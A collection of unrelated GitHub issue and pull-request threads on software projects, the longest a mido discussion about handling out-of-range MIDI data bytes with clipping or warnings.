I don't know and understand what NuGet is, do you think you can help me on
this matter?
—
Reply to this email directly or view it on GitHub
https://github.com/unittest-cpp/unittest-cpp/issues/72#issuecomment-103936051
.

that would be awesome!

At the risk of going OT; taking a peek at their UnitTestpp cmake file it is quite a bit simpler than the behemoth we use. Would it be worth moving to something simpler like theirs? Not being a 'brain' at CMake every time I look in ours I get palpitations.

Ah @grahamreeds you're so cute. If you had any experience writing CMake files, you'd probably realize how very simple this one is - by no means a behemoth. Also, I looked at (UnitTestpp fork)[https://github.com/paulecoyote/unittestpp] and there is no CMakeLists.txt file there. I'm I looking at the wrong project?
IMO, if anything, unittest-cpp's CMake implementation is lacking a little bit of necessary structure.

My comment was about Casablanca unittest++ cmake file.
https://casablanca.codeplex.com/SourceControl/latest#Release/tests/common/UnitTestpp/CMakeLists.txt
GR
Sent from my Nexus 5.
At the risk of going OT; taking a peek at their UnitTestpp cmake file it is
quite a bit simpler than the behemoth we use. Would it be worth moving to
something simpler like theirs? Not being a 'brain' at CMake every time I
look in ours I get palpitations.
Ah @grahamreeds https://github.com/grahamreeds you're so cute. If you had
any experience writing CMake files, you'd probably realize how very
simple this one is - by no means a behemoth. Also, I looked at (UnitTestpp
fork)[https://github.com/paulecoyote/unittestpp] and there is no
CMakeLists.txt file there. I'm I looking at the wrong project?
IMO, if anything, unittest-cpp's CMake implementation is lacking a little
bit of necessary structure.
—
Reply to this email directly or view it on GitHub
https://github.com/unittest-cpp/unittest-cpp/issues/72#issuecomment-138017962
.

GlobalSettings is not suitable for incorporation into the current mainline (I think it is a holdover from the older version they began with). It includes intrusive changes to UnitTest::TestRunner that could be handled externally to the UnitTest++ library.
Take-aways from this thread:

We should build a NuGet package (was already on my radar, but confirmed), and make updating it part of the release process.
Somebody should investigate what it would take to then incorporate current UnitTest++ into Casablanca, and offer up a patch.

I'm going to open these as two new tickets and close this one once they are written.

thanks a lot!!!

@LocutusOfBorg you're welcome. I wrote #81 and #82 to capture what we actually want to do, and marked this one as duplicate. I'll note that the version on codeplex is not the current casablanca project page; https://github.com/Microsoft/cpprestsdk is.
Anybody want to take a stab at those feel free.

Just looked and its used in one unit (TestRunner) and relates to timeouts.
Beyond that I can't say until I get some spare time.
GR
Sent from my Nexus 5.
On 5 Nov 2015 3:25 p.m., "Patrick Johnmeyer"<EMAIL_ADDRESS>wrote:

@LocutusOfBorg https://github.com/LocutusOfBorg you're welcome. I wrote
#81 https://github.com/unittest-cpp/unittest-cpp/issues/81 and #82
https://github.com/unittest-cpp/unittest-cpp/issues/82 to capture what
we actually want to do, and marked this one as duplicate. I'll note that
the version on codeplex is not the current casablanca project page;
https://github.com/Microsoft/cpprestsdk is.
Anybody want to take a stab at those feel free.
—
Reply to this email directly or view it on GitHub
https://github.com/unittest-cpp/unittest-cpp/issues/72#issuecomment-154092530
.


Add ability for source binning to save the counts

Codecov Report

Merging #97 (bbc828c) into main (64cf1ac) will increase coverage by 0.13%.
The diff coverage is 100.00%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff             @@
##             main      #97      +/-   ##
==========================================
+ Coverage   82.24%   82.37%   +0.13%
==========================================
  Files          10       10
  Lines         676      681       +5
==========================================
+ Hits          556      561       +5
  Misses        120      120

Impacted Files
Coverage Δ

src/lsstseries/ensemble.py
72.67% <100.00%> (+0.36%)
:arrow_up:


Add RegExp 'global' option to Russian grammar rules

Issue
Some non-JS string replace with regular expression implementations, such as Swift, always use global search option.
This PR adds this g option explicitly to Russian grammar meta block and updates tests to require g meta flags for all existing and future grammars.
Tasklist

[x] Add explicit g option to grammar and tests
[x] Add changelog entry
[ ] Test with osrm-frontend
[ ] Review

/cc @1ec5

osrm-frontend (with formatToken() fix) also works.


platelet alpha-granule number

From Melissa Berry
Decreased (increased?) platelet alpha-granule number. Maybe child of 14060.
We have decreased platelet dense granules so why not alpha-granules?
J: 236370

added:
MP:0020429 abnormal number
MP:0020430 increased number
MP:0020431 decreased amount

also added:
MP:0020432 decreased platelet dense granule number
MP:0020433 increased platelet dense granule number


improve tracing - track calling contexts

Tracks calling contexts, such that Load is now decomposed into spans describing wait time and fetch execution for all callers
Obviously needs a bit of cleanup, but this accomplishes what we wanted, I think

For context for anyone looking at this: this is a breaking change, but this module is not v1.0 yes, so it makes sense to allow it. Also, I want to remove the dependency on open telemetry and allow for pluggable middlewares for instrumentation, but that will come as another breaking change later.


Add chain() function

The chain function enables composing a sequence of converters.

Codecov Report

Merging #7 (5ac0441) into main (c0fc2ac) will not change coverage.
The diff coverage is 100.00%.

@@            Coverage Diff            @@
##              main        #7   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files            4         4
  Lines           84        90    +6
  Branches         9        11    +2
=========================================
+ Hits            84        90    +6

Impacted Files
Coverage Δ

src/curies/__init__.py
100.00% <100.00%> (ø)

src/curies/api.py
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us.


Error Unmarshalling null Value JSON Timestamp Fields

I think I've found an error here.
I have a sample protobuf message:
message SampleProto {
  google.protobuf.Timestamp ts = 1;
}

And the following json:
{
  "ts": null
}

When I run
buf := bytes.NewBuffer([]byte(`{"ts": null}`))
var s SampleProto

err := jsonpb.Unmarshal(buf, &s)

I get an "invalid syntax" error, which I've tracked down to this call to strconf.Unquote.
I'm not sure if this is expected behavior - according to the official documentation, null values in json will be treated as zero values:

If a value is missing in the JSON-encoded data or if its value is null, it will be interpreted as the appropriate default value when parsed into a protocol buffer. If a field has the default value in the protocol buffer, it will be omitted in the JSON-encoded data by default to save space. An implementation may provide options to emit fields with default values in the JSON-encoded output.

If the inputString in this scenario is null, should a zero-value Timestamp be returned instead? Also, the same goes for a Duration type.

If the inputString in this scenario is null, should a zero-value Timestamp be returned instead? Also, the same goes for a Duration type.

Yep, I think it should.  You could double-check by sending a PR to add a test case to the protobuf conformance suite and see if the protobuf team accepts it.


Remove warnings caused by ArduinoJson

Fixes #356

Messed something up with the branch - sorry. Will try again :-/

don't worry, take your time 😉


Updated the close button styling from the large slim x in all locatio…

Removed the opacity of the Close button and updated positioning
Removed the close modal class to make all close button uniforms.

Okay cool


Doesn't reproduce predict_example

Hi!
I've read your article: Accurate surface ultraviolet radiation forecasting for clinical applications with deep neural network, We are very interested in applying your model in Monterrey city (Mexico). In that sense, we would like to know some details regarding the repository on GitHub. There is a weights file (.he5), my question is: Do these weights values result from data training, or are they just random values?
I have that doubt because when I clone the repository and execute the forecast (Prediction_example.ipynb), this result is different compared to what is shown. Could you help me to solve that, please?

Sorry for late reply.
Can you show tensorflow and keras version in your environment?

For tensorflow i have 2.9.1 version and keras is 2.9.0

Your environment does not meet the requirements of our script,
Tensorflow 1.14.0 and Keras 2.2.5 are used to train our weights.
The mismatch version can alter model prediction and cause model performance to differ from our reports.


IOError('data byte must be in range 0..127') with Lakh MIDI file

I can open this attached MIDI file in timidity and Ardour without issue, but mido is unable to parse it. What's special about it?
E.g.
from mido import MidiFile
MidiFile('0b0812979e33c132046d24575ff810cf.mid')

results in
---------------------------------------------------------------------------
OSError                                   Traceback (most recent call last)
<ipython-input-2-51ef249dd91a> in <module>()
----> 1 MidiFile('0b0812979e33c132046d24575ff810cf.mid')

/home/carl/anaconda3/lib/python3.5/site-packages/mido/midifiles.py in __init__(self, filename, file, type, ticks_per_beat, charset)
    229         elif self.filename is not None:
    230             with io.open(filename, 'rb') as file:
--> 231                 self._load(file)
    232
    233     def add_track(self, name=None):

/home/carl/anaconda3/lib/python3.5/site-packages/mido/midifiles.py in _load(self, file)
    266
    267             for i in range(number_of_tracks):
--> 268                 self.tracks.append(self._read_track())
    269                 # Todo: used to ignore EOFError. I hope things still work.
    270

/home/carl/anaconda3/lib/python3.5/site-packages/mido/midifiles.py in _read_track(self)
    351                 message = self._read_sysex()
    352             else:
--> 353                 message = self._read_message(status_byte)
    354
    355             message.time = delta

/home/carl/anaconda3/lib/python3.5/site-packages/mido/midifiles.py in _read_message(self, status_byte)
    286         for byte in data_bytes:
    287             if byte > 127:
--> 288                 raise IOError('data byte must be in range 0..127')
    289         return build_message(spec, [status_byte] + data_bytes)
    290

OSError: data byte must be in range 0..127

pip show mido

---
Metadata-Version: 2.0
Name: mido
Version: 1.1.17
Summary: MIDI Objects for Python
Home-page: https://mido.readthedocs.io/
Author: Ole Martin Bjorndalen
Author-email<EMAIL_ADDRESS>Installer: pip
License: MIT
Location: /home/carl/anaconda3/lib/python3.5/site-packages
Requires:
Classifiers:
  Development Status :: 5 - Production/Stable
  Intended Audience :: Developers
  Natural Language :: English
  License :: OSI Approved :: MIT License
  Programming Language :: Python
  Programming Language :: Python :: 2.7
  Programming Language :: Python :: 3.2

Ping @craffel, same issue for you?

This is expected behavior., see https://github.com/craffel/pretty-midi/issues/34 mido is strict about data bytes being in 0...127.  python-midi, which is what was used during the creation of the Lakh MIDI dataset, just silently passes them (this is bad).  I bet timidity++ and Ardour do something like clip the value to 127 when it's above 127, or something.

Aha, thank you for the clarification! Will Lakh be updated to reflect this? I've found some more mid files with the same problem. Or @olemb, could mido have a quiet mode where it clips instead of raising the IOError?

Will Lakh be updated to reflect this?

It will be whenever I create v0.2, but I don't have a strong reason to do that at this time.  I would guess on the order of a year from now.

Or @olemb, could mido have a quiet mode where it clips instead of raising the IOError?

Keep in mind that data bytes > 127 are indicators of a corrupt MIDI file.  That is, bug-free MIDI transcription software/hardware should never produce a MIDI data byte larger than 127, so something must be awry.  By default I think raising an Exception is correct; I do think having a mode where it just raised a warning and clipped to 127 could be useful.

I agree with @craffel. An exception should be the default behavior.
To see exactly which message is causing trouble you can turn on the (undocumented) debug mode:
mido.midifiles.debug()

This will print out every byte as it's read from the file along with some other info. Here are the last few bytes before it crashed:
  0018c5: 00
  0018c6: c9
  0018c7: ff

This is a program change with program 255, which is clearly invalid. I am curious how this happened. Could be a bug in the program that created the file. The vale of 255 is a bit suspicious though.
I'm open to adding a quiet mode but some though needs to be put into how it behaves. In this case clipping to 127 would allow Mido to read the file but it would still select the wrong program.
Most programs seem to be rather forgiving about errors in MIDI files. I would like to investigate how they handle cases such as this one. I am planning to add some test files to Mido. These would be useful here as well.

To get full debugging output you need to use mido.midifiles.MidiFile. (debug() monkey patches mido.midifiles but doesn't replace the class anywhere else.)
import mido

mido.midifiles.debug()
mid = mido.midifiles.MidiFile('test.mid')

I've replaced the monkey patch hack with a proper debugging option. You can now do:
import mido

mid = mido.MidiFile('test.mid', debug=True)

This adds a bit of overhead (due to a few if self.debug:) but I think it's worth it. I've also improved the output format a lot.
To get back to the issue, I've tested how different programs handle an out of range data byte. There are four strategies:

accept the value (Python midi package, Rosegarden)
clip to 127 (Audacious, aplaymidi)
skip without warning
skip the message, but warn on stderr (Ardour)

I think the best option for Mido is to clip to 127. It would be nice to also get a warning but I'm not sure where that warning would go. (Certainly not to stderr.)
As for a name for this option I'm currently considering ignore_errors.
@carlthome, thanks for reporting this!

I think the best option for Mido is to clip to 127. It would be nice to also get a warning but I'm not sure where that warning would go. (Certainly not to stderr.)

The Pythonic thing would just be to call warnings.warn('message') whenever an invalid data byte was found.

:+1: for warnings.warn instead of stderr (because of builtin suppression support and stuff, e.g. warnings.filterwarnings("ignore")), but preferably just print one combined warning after having read a MIDI file, in case there were multiple invalid bytes. Please don't flood the terminal like NumPy's deprecation warnings and so on. :smile:

Good point. I'll go for the combined warnings.
There should probably be one warning per type of error, so if you have invalid data bytes and unexpected EOF you will get two warnings.

but preferably just print one combined warning after having read a MIDI file, in case there were multiple invalid bytes.

This should happen by default.  From the warnings docs:
"The disposition of warnings can vary based on the warning category (see below), the text of the warning message, and the source location where it is issued. Repetitions of a particular warning for the same source location are typically suppressed."

Hey, cool! :tada:
But what's a "particular warning"? Does the message of warnings caused by the same LOC have to be exactly the same for repetitions to be automatically suppressed? E.g. let's say each particular MIDI byte is included in its own warning, will that make warnings not suppress them because they are too different?

Does the message of warnings caused by the same LOC have to be exactly the same for repetitions to be automatically suppressed?

Yes, I believe so.
>>> import warnings
>>> for n in range(10):
...   warnings.warn(n)
...
__main__:2: UserWarning: 0
__main__:2: UserWarning: 1
__main__:2: UserWarning: 2
__main__:2: UserWarning: 3
__main__:2: UserWarning: 4
__main__:2: UserWarning: 5
__main__:2: UserWarning: 6
__main__:2: UserWarning: 7
__main__:2: UserWarning: 8
__main__:2: UserWarning: 9
>>> for n in range(10):
...   warnings.warn('hey')
...
__main__:2: UserWarning: hey

Cool.
I guess that means we shouldn't include the file position in the message.
:smile:

Ah, thanks. Didn't remember that function. I think that's just what we need
here.
Should this mode also handle unexpected end of file while reading a track?
This would allow you to keep the messages that were read up until the end
of the file.

Should this mode also handle unexpected end of file while reading a track?
This would allow you to keep the messages that were read up until the end
of the file.

It seems reasonable to me that there be a catch-all mode that basically just tries really hard to parse the MIDI file despite any invalid things (data bytes larger than 127, unexpected end of file, etc).

Sounds good. I haven't come up with a good name for the option. Do you have any suggestions?
There are a few modes that could be useful:

fail (as today, should be the default)
warnings.warn()
ignore errors entirely
log errors somewhere (file position and error message) so you can inspect the file

I guess the last one is least useful but something to consider still perhaps.
A warn=False could be useful even though you can disable warnings in Python.

Many programs call such modes "-q, --quiet" to ignore warnings and "-f, --force" to keep going.
I'd go for always halt on parse error unless -f, and always output warnings unless -q.
For logging, logging could be used, but otherwise something like (pseudo-code, beware):
if quiet_mode:
    warnings.filterwarnings('ignore', MidiParseWarning)

if not force:
    warnings.simplefilter('error', MidiParseWarning)

for midi_byte in midi_bytes:
    try:
        read_byte(...)
    except MidiParseWarning as e:
        warnings.warn(e)

How about this?
mid = MidiFile('test.mid', errors='ignore')

That would make it easy to add more modes like 'warn', 'log' etc.
Raising a custom exception like MidiParserWarning is a good idea. Today it can fail with all kinds of exceptions making them hard to catch. Maybe that should be the default mode?

Actually should have called it MidiParseError because an exception shouldn't be conflated with a user preventable warning. Sorry.
Anyway, that parameter looks sweet. I'd use it!

Ah, good point. How about MidiFileError? I find that parsing makes med think of mido.Parser.
Cool. We'll go with the error='something' option.
Let's see:

errors='raise'  -> raise MidiFileError (default), not sure what to call this one
errors='warn'  -> call warnings.warn()
errors='list' -> store errors in a list inside the MidiFile object?
errors='log' -> log to logging (I don't think we need this if we have errors='list')

Looks good! Though both errors='list' and errors='log' are easily covered by warnings and errors='warn' so I'd absolutely recommend to skip adding that complexity to Mido. At the most, maybe add a little example to the docstring for MidiFile if logging the errors is important.
I'd go for:

errors='raise' (seems like a good name to me)
errors='warn'
errors='ignore'

Sounds good. I like avoiding complexity. It will still be a bit tricky to work this in since everything is broken into functions.
If you pass debug=True it could print warnings in your debug output, for example:
0000f0: c0
0000f1: 23
0000f2: ff
### Warning: clipping out of range data byte
...
### Warning: unexpected end of file while reading track

I think it makes sense that MidiFileError it inherits from IOError:
class MidiFileError(IOError):
    pass

Looks good! Though both errors='list' and errors='log' are easily covered by warnings and errors='warn' so I'd absolutely recommend to skip adding that complexity to Mido. At the most, maybe add a little example to the docstring for MidiFile if logging the errors is important.

+1

errors='ignore'

-1, I would highly recommend not reinventing the wheel here.  This would add unneeded complexity to the program, and is not consistent with Python conventions.
import warnings
warnings.simplefilter('ignore')

in user code is much more straightforward, and people should be used to doing this already.

Ah, good point. Maybe MidiFileError? Parsing makes me think of the parser
(mido.Parser).
Cool. We'll go with error='something'.
On Wed, Oct 26, 2016 at 10:52 AM Carl Thomé<EMAIL_ADDRESS>wrote:

Actually should have called it MidiParseError because an exception
shouldn't be conflated with a user preventable warning. Sorry.
Anyway, that parameter looks sweet. I'd use it!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/olemb/mido/issues/63#issuecomment-256287415, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA801vJ0ZqxeiyssOyTqDTtx-0StiXmyks5q3xS4gaJpZM4KVzC5
.

@craffel I guess we only need two modes then: raise and warn. Maybe this should be a flag?
MidiFile('test.mid', warn_instead_of_raise=True)

Not sure what to call the flag. Certainly not warn_instead_of_raise. :smile:

I think errors='warn' or errors='raise' is ok.  Or, if you have a better word for "a corrupt thing found in the MIDI file" than errors, you could use that instead.  Up to you!

Hehe, no I don't.
On Wed, Oct 26, 2016 at 8:39 PM Colin Raffel<EMAIL_ADDRESS>wrote:

I think errors='warn' or errors='raise' is ok. Or, if you have a better
word for "a corrupt thing found in the MIDI file" than errors, you could
use that instead. Up to you!
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/olemb/mido/issues/63#issuecomment-256439298, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA801g1pQ0nh2N6Tc9BoUaiaI8boTXx6ks5q355ZgaJpZM4KVzC5
.

I'd like to make another push for having a builtin errors='ignore' mode actually because it should be threadsafe which can be tricky to manage from the outside AFAIK with warnings. warnings.simplefilter introduces global state, right? For example, I have a test suite where Mido's parsing should sometimes be strict and sometimes be ignored, and it would be less than ideal to flip a global all over (and a cause for bugs and confusion), not to mention multi-threading stuff that actually becomes impossible to do, no?
Currently I'm just catching the exceptions on my own, but that's what I'd like to get away from. :smile:

Also @olemb, regarding changing str to bool when there are just two options, that's bad because you couldn't extend it easily in the future without breaking the API or cluttering the signature. Hopefully the Python community will eventually find their way here. :dancer:

@carlthome I agree. errors=... would allow for future expansion.
Actually, adding errors='ignore' (and even errors='print') would be easy once errors='raise'/'warn' is in place. The tricky bit is that read_track(), read_message(), read_sysex() and read_meta_message() have to know about all of this. So far it looks like we'll have to pass it around, for example read_track(infile, errors='warn').

I've made an attempt at an implementation.

So, I'm happy to defer to @olemb for their preference here, but just responding -

I'd like to make another push for having a builtin errors='ignore' mode actually because it should be threadsafe which can be tricky to manage from the outside AFAIK with warnings. warnings.simplefilter introduces non thread safe global state even with its context manager.

Do you mean "global state" as in across Python processes/kernels, or just across threads within the same Python process?  It's certainly not global in the sense of across Python processes, but it should apply globally to threads launched within the same process.  I think the use-case of wanting to launch multiple threads simultaneously, where some of them ignore warnings and others produce them, is very far to the edge.  All that aside, I also don't think that a program producing a couple of warnings (keep in mind numpy is an outlier here since they force warnings to appear multiple times) is really a problem in any way.  Also, given that warnings do not change actual program behavior in any way, I don't think the concept of "thread safe" really applies.

For example, I have a test suite where Mido's parsing should sometimes be strict and sometimes be ignored, and it would be less than ideal to flip a global all over (and a cause for bugs and confusion), not to mention multi-threading stuff that actually becomes impossible to do, no?

I don't see it as better to pass a different argument each time you call the function vs. using the warnings simplefilter.  E.g.
warnings.simplefilter('ignore')
function()
function()
warnings.simplefilter('always')
function()

vs.
function(errors='ignore')
function(errors='ignore')
function(errors='warn')

I don't see the latter being any better than the former.  Furthermore, Python has provided us with the incredibly useful warnings module and functionality, which is widely used; if Python authors all had to implement their own "do I throw an exception or warn or do nothing" behavior, we'd all end up reinventing the wheel, not to mention with more messy code.  As a Python user I'm used to using warnings.simplefilter (or other functionality); I'm not used to passing keyword arguments in to determine warning behavior.

I definitely prefer function() over function(errors='ignore'). Is there any way though to get it to raise an exception if error='raise'` without passing something around?

Is there any way though to get it to raise an exception if error='raise' without passing something around?

Do you mean if you pass the main function a value for errors you want functions it calls to get that behavior too?  I think you do need to pass it around.  If you make a PR for your preliminary implementation I can take a look at it to see if there's a way to simplify it.

I pushed it to my develop branch. Didn't think of making a pull request.
The funtions need to know about the error mode since byte tests happen
there.
I don't like my new implementation with all the passing around.
Den fre. 28. okt. 2016, 19:38 skrev Colin Raffel<EMAIL_ADDRESS>
Is there any way though to get it to raise an exception if error='raise'
without passing something around?
Do you mean if you pass the main function a value for errors you want
functions it calls to get that behavior too? I think you do need to pass it
around. If you make a PR for your preliminary implementation I can take a
look at it to see if there's a way to simplify it.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/olemb/mido/issues/63#issuecomment-256982146, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AA801no5IKVhWWg0Pi67O85A7e3rT9PBks5q4jMigaJpZM4KVzC5
.

The simplest solution is to just use warnings.warn() all of the functions and have no errors parameter, although this would not allow you to catch corrupt files in the code.

I've reverted my changes and created a pull request as you suggested.

I know Python is mostly used for small projects but the latter is actually a lot better than the former, especially for projects with more than one developer. Refer to this.
It's also not a rare use case, for example I'm doing a MIR task currently in which MIDIs are edited, synthesized and put in a queue for training models. The Lakh MIDIs are initially read with suppressed warnings and then edited to simpler MIDI files (removing some octaves, modulation, velocity levels, etc.) and saved before synthesis.
But regardless, point taken, staying with language conventions is important! I agree that Mido should leave it to the user to handle warnings.
@olemb, speaking of dependency injection and passing around the errors parameter (IMO actually a good thing), if you want to avoid it just set warnings.simplefilter('error', MidiParseWarning) in init.py and make sure all MIDI byte related errors use that particular warning. Then they will be raised as errors and corrupt files can be caught in the code.
Then users can use warnings.filterwarnings('ignore', MidiParseWarning) to suppress errors or warnings.filterwarnings('default', MidiParseWarning) to just warn. I think this is the most pythonic way. @craffel, agree?

Then users can use warnings.filterwarnings('ignore', MidiParseWarning) to suppress errors or warnings.filterwarnings('default', MidiParseWarning) to just warn. I think this is the most pythonic way. @craffel, agree?

This seems clean to me.

@olemb, just curious on status? Want help?

Sorry I haven't gotten back to you.
So the idea is to ditch the errors=... and just use warnings.warn()? This is certainly a lot cleaner and simpler.
A couple of thoughs:

The default will now be to clip the bytes to 0-127 and warn the user. This means files with recoverable errors will load without any extra work. Sounds like a good default.

When using debug=True it would be good to have the warnings as part of the output so you can see where they are. It looks like this can be done with the warn module (by showing all instances of the warning and redirecting to stdout). I'm not sure it would be a good idea to turn this on then debug=True is passed as it messes with the user's settings.

I'm wondering if we should just clip the bytes by default and consider adding a warning or some option later. This way the files would load.
@cjappl Any thoughs?

I think they should probably go together, as we wouldn't want to have something silently editing the midi files.
I'd say do whatever is the simplest (warnings.warn I'd guess) and document that:

A midi's files notes will be limited to 0-127 if they are outside this range
How to silence the warnings in your end program if you want to (using one of the warning filters)

I think if these are put somewhere prominent in the documentation, it'll not take people by surprise when they see these warnings, but the files will still load as intended.
Another option (just to add to the pile here) is to keep the default behavior but add a: "clip=True/False" option. If specified, any value would be limited to 0-127. This would solve the original problem, and it'd have to be an active choice by the programmer, so you couldn't say he wasn't aware there was a chance his midi was edited.
I'd argue the "cleanest" solution is to throw an error when there is a corupt midi file (as the package already does). If there is push for limiting the values to the proper range, just giving the boolean flag may be the clean/easy way without fussing around with warnings and filtering them.

I'd argue the "cleanest" solution is to throw an error when there is a corupt midi file (as the package already does). If there is push for limiting the values to the proper range, just giving the boolean flag may be the clean/easy way without fussing around with warnings and filtering them.

:+1:
I'd like to know if my MIDI files are wonky.

Possible solution here in pull request #110

This option should be documented somewhere but wanted to check in before just throwing it in somewhere. It seems like on the library reference page here there is currently no documentation of the parameters given in the initializer. Adding these may fall under a different task

Good plan. Let's do it this way.
You're right. The initializer needs documentation. I guess it may be missing for other classes as well. It's definitely a new issue though.
Btw, do you know a good way to document properties? I tried to add doc strings to the getters but they never showed up.

I don't off the top of my head. I know there is a way to document decorated functions using functools.wrap.
Heres one way apparently. Haven't tried it myself though

I believe we can close this with PR #110 being merged. I'll make an issue for documenting the changes

We need to document the clip option.

Agreed, should it be a separate issue or rolled into the over-arching issue of #111?
Also in terms of housekeeping stuff, I wanted to do a PR where I moved the tests out into a "test" directory. Do you have any strong feelings about that? I personally like to keep the tests separate from the source.

I think separate issue.
I'm open to moving the tests to a "test" directory but we need to discuss the structure a bit. Can you make a new issue? ("Reorganizing Tests" or something.)

Alright cool. Let me file some issues really quick then we can maybe close this one?

Great! Closing it.

I wonder if these lines in midifiles/midifiles.py, which check if data_bytes are greater than 127 if clip=off:
https://github.com/mido/mido/blob/89ae5a4ddd6f51e8b0911b5ca343cb2016030446/mido/midifiles/midifiles.py#L133-L136
Aren't redundant with these other lines in messages/checks.py, which seem to do the same:
https://github.com/mido/mido/blob/89ae5a4ddd6f51e8b0911b5ca343cb2016030446/mido/messages/checks.py#L56-L57
In fact, if I comment these lines in midifiles/midifiles.py, files with data_bytes > 127 end up raising the ValueError specified in messages/checks.py.


Cranelift: implement omitting frame pointers (where permissible).

Feature
When permitted by the ABI and optimization goals, implement omitting frame pointers in Cranelift and add an option for forcing the establishment of frame pointers.
Benefit
Some supported ABIs do not need a frame pointer for debugging or unwinding purposes.  Moderns compilers that target such ABIs tend to omit the frame pointer by default or when doing so is permissible (e.g. based on an optimization goal).
Omitting the frame pointer might free up an additional general purpose register to use (e.g. RBP for x86-64).  It may also lead to more compact and efficient code depending on the function.
See #1149 and #1105 for some other discussions around this issue.
Implementation
As frame pointers might be useful to some third-party tools, add a Cranelift compiler option for forcing the use of frame pointers in prologues/epilogues (an analogue to -fno-omit-frame-pointer).  It should default to false.  For ABIs where a frame pointer is required, this option will have no effect.
For ABIs where it is permissible to do so, respect the option not being present by omitting the establishment of the frame pointer in the prologue and also the restoring the previous frame pointer in the epilogue.
Note that, depending on the offsets used relative to a frame pointer vs. the stack pointer, omitting a frame pointer might impact code size by forcing encodings of larger offsets relative to the stack pointer.  Ultimately whether or not a frame pointer is omitted should be based on the impact to the desired optimization goals.  Currently in Cranelift, some ABIs, like Windows and SystemV for x86-64, always establish a frame pointer but are addressing the stack relative to the stack pointer, so omitting the frame pointer won't have any negative impact on code generation size.
Also note that for certain ABIs, dynamic stack allocations (e.g. alloca) may require a "frame pointer" register to denote the base address of the static part of the frame as if it were the stack pointer prior to the first dynamic stack pointer adjustment.  Locals and arguments could be addressed as a positive relative offset from this frame pointer register.  Windows x64, for example, calls this a frame pointer for the purposes of unwinding.
Alternatives
The alternative is to do what Cranelift does now which is to always establish a frame pointer, which may lead to less efficient code or otherwise unnecessary instructions for every compiled function.

As frame pointers might be useful to some third-party tools, add a Cranelift compiler option for forcing the use of frame pointers in prologues/epilogues (an analogue to -fno-omit-frame-pointer). It should default to false.

Could this default to true, instead? I.e., could the compiler use frame pointers unless explicitly asked not to? (At least in Linux targets that are not register-starved, e.g., x86-64).
As already mentioned by @bjorn3 (https://github.com/bytecodealliance/wasmtime/issues/1105#issuecomment-664620661), some tools such as Linux perf and bpftrace rely or can benefit from frame pointers for efficient user-space stack walking. These tools can be used to profile unmodified binaries.
Omitting frame pointers by default will decrease the out-of-the-box usefulness of these tools (as getting proper stack traces might require a recompilation of the traced binaries and its dependencies).

I'm fine with the default in Cranelift being true, but I think Wasmtime should set such an option to false by default, possibly turning it to true for debug code generation.

FWIW if stack unwinding implemented right it is possible to still support backtrace/unwinding type of scenarios.

DWARF based unwinding results in much larger perf profiles as it needs to copy a big chunk of the stack for offline unwinding. The amount of stack copied is fixed with the max configurable soze being 50kb. If the stack is deeper, frames will be missing from the backtrace
In addition it takes much longer to process the profiles when using DWARF unwinding.

I think this was addressed by #4469 so I'm going to close it. If I've missed something, feel free to re-open!

On x86_64 we still unconditionally preserve the frame pointer even if the option is set to allow omitting them.

Yeah this isn't fully implemented yet.


Sort preserving SortMergeJoin

Which issue does this PR close?

Closes #2698.
Rationale for this change

Defined ordering of SortMergeJoin output may be helpful for query planner/optimizer in general.
What changes are included in this PR?

Now there is StreamedBatch.output_indices -- single structure for storing both streamed side indices with and without matches on buffered side, instead of two separate places as before (StreamedBatch.null_joined and BufferedBatch.pair_joined).
It allows to stage output indices in the order they appear as a result of join_partial calls (which generally is an order of  streamed/outer input), and since output_indices now used for output batch creation, output batches are also ordered.
Are there any user-facing changes?

No

Codecov Report

Merging #2699 (ee55576) into master (a690a28) will increase coverage by 0.02%.
The diff coverage is 97.41%.

@@            Coverage Diff             @@
##           master    #2699      +/-   ##
==========================================
+ Coverage   84.66%   84.68%   +0.02%
==========================================
  Files         270      270
  Lines       46919    47006      +87
==========================================
+ Hits        39724    39808      +84
- Misses       7195     7198       +3

Impacted Files
Coverage Δ

...tafusion/core/src/physical_plan/sort_merge_join.rs
90.34% <97.41%> (+0.73%)
:arrow_up:

datafusion/expr/src/window_frame.rs
92.43% <0.00%> (-0.85%)
:arrow_down:

datafusion/core/src/physical_plan/metrics/value.rs
86.93% <0.00%> (-0.51%)
:arrow_down:

datafusion/expr/src/logical_plan/plan.rs
68.21% <0.00%> (ø)

datafusion/optimizer/src/utils.rs
32.79% <0.00%> (+1.07%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a690a28...ee55576. Read the comment docs.

I have checked the test and think it's concrete :+1: Logic changes also look good to me but I'm not very confident.

I  put this on my weekend review list -- I want to ensure I have sufficient time to focus as this stuff is always tricky and I haven't found such time this week, sadly 😢


New automation to create events across channels (google calendar & discord)

Feature details?
Use-case

AMAs
Weekly Discussions

Both are added to our Google calendar and an event is created on our discord server.
Ask

The problem is that admins have to manually add events to either discord or google calendar.
The ask is to have a script that creates an event on both platforms in one go
The script should accept following details:

Date/Time for event in IST
Title of the event
Body explaining more about the event. Preferably with some markup?
Location, where the event will take place

Code of Conduct

[x] I agree to follow this project's Code of Conduct

self-assign :hand:

self-assign ✋

Done, feel free to create a draft-pr for an early feedback!

@Bhupesh-V , have a look.
#18


Fix crash from uninitialized auth map set

Closes #93
The auth map is normally initialized by loadConfig, but in the absence of a config file it will be left uninitialized.
This creates the map on demand if it's not initialized.

👍


Add plotting for the MJO Indicies, RMM and OMI

Pull Request Testing

[x] Describe testing already performed for these changes:
1.  On 'kiowa', ran the METplus use case from the METplus repository for RMM-feature branch feature_892_RMM_OMI_drivers:
METplus/parm/use_cases/model_applications/s2s/UserScript_fcstGFS_obsERA_RMM.conf with user_system.conf file that uses the data in /d1/projects/METcalcpy/METcalcpy_Data/MJO_Indices
   2. Change the import statement in RMM_driver.py to:
           _import metplotpy.contributed.mjo_rmm_omi.plot_mjo_indices as pmi_

